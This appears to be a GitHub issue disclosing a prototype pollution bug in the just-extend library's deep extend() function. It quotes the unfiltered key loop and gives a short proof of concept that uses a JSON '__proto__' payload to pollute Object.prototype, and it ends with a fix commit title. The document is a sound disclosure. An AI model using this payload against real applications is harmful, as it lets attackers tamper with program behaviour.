You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In deep copy mode (deep=true), the extend() function only uses Object.prototype.hasOwnProperty.call(extender, key) to check when iterating over the keys of the extender object, but fails to filter dangerous property names such as proto, constructor, and prototype. Attackers can contaminate Object.prototype by constructing malicious objects containing proto, affecting all objects.
Vulnerable Code (index.cjs Lines 37-50):
for(varkeyinextender){if(Object.prototype.hasOwnProperty.call(extender,key)){varvalue=extender[key];if(deep&&isCloneable(value)){varbase=Array.isArray(value) ? [] : {};result[key]=extend(true, ...,value);// key not filtered for __proto__}else{result[key]=value;// key not filtered for __proto__}}}
POC:
constextend=require('just-extend');// Verify before attackconsttestObj={};console.log('Before:',testObj.polluted);// undefined// Construct malicious payloadconstmalicious=JSON.parse('{"__proto__":{"polluted":"yes"}}');extend(true,{},malicious);// Verify after attack - all objects are pollutedconstnewObj={};console.log('After:',newObj.polluted);// "yes"
Activity
fix(just-extend): prevent prototype pollution via dangerous keys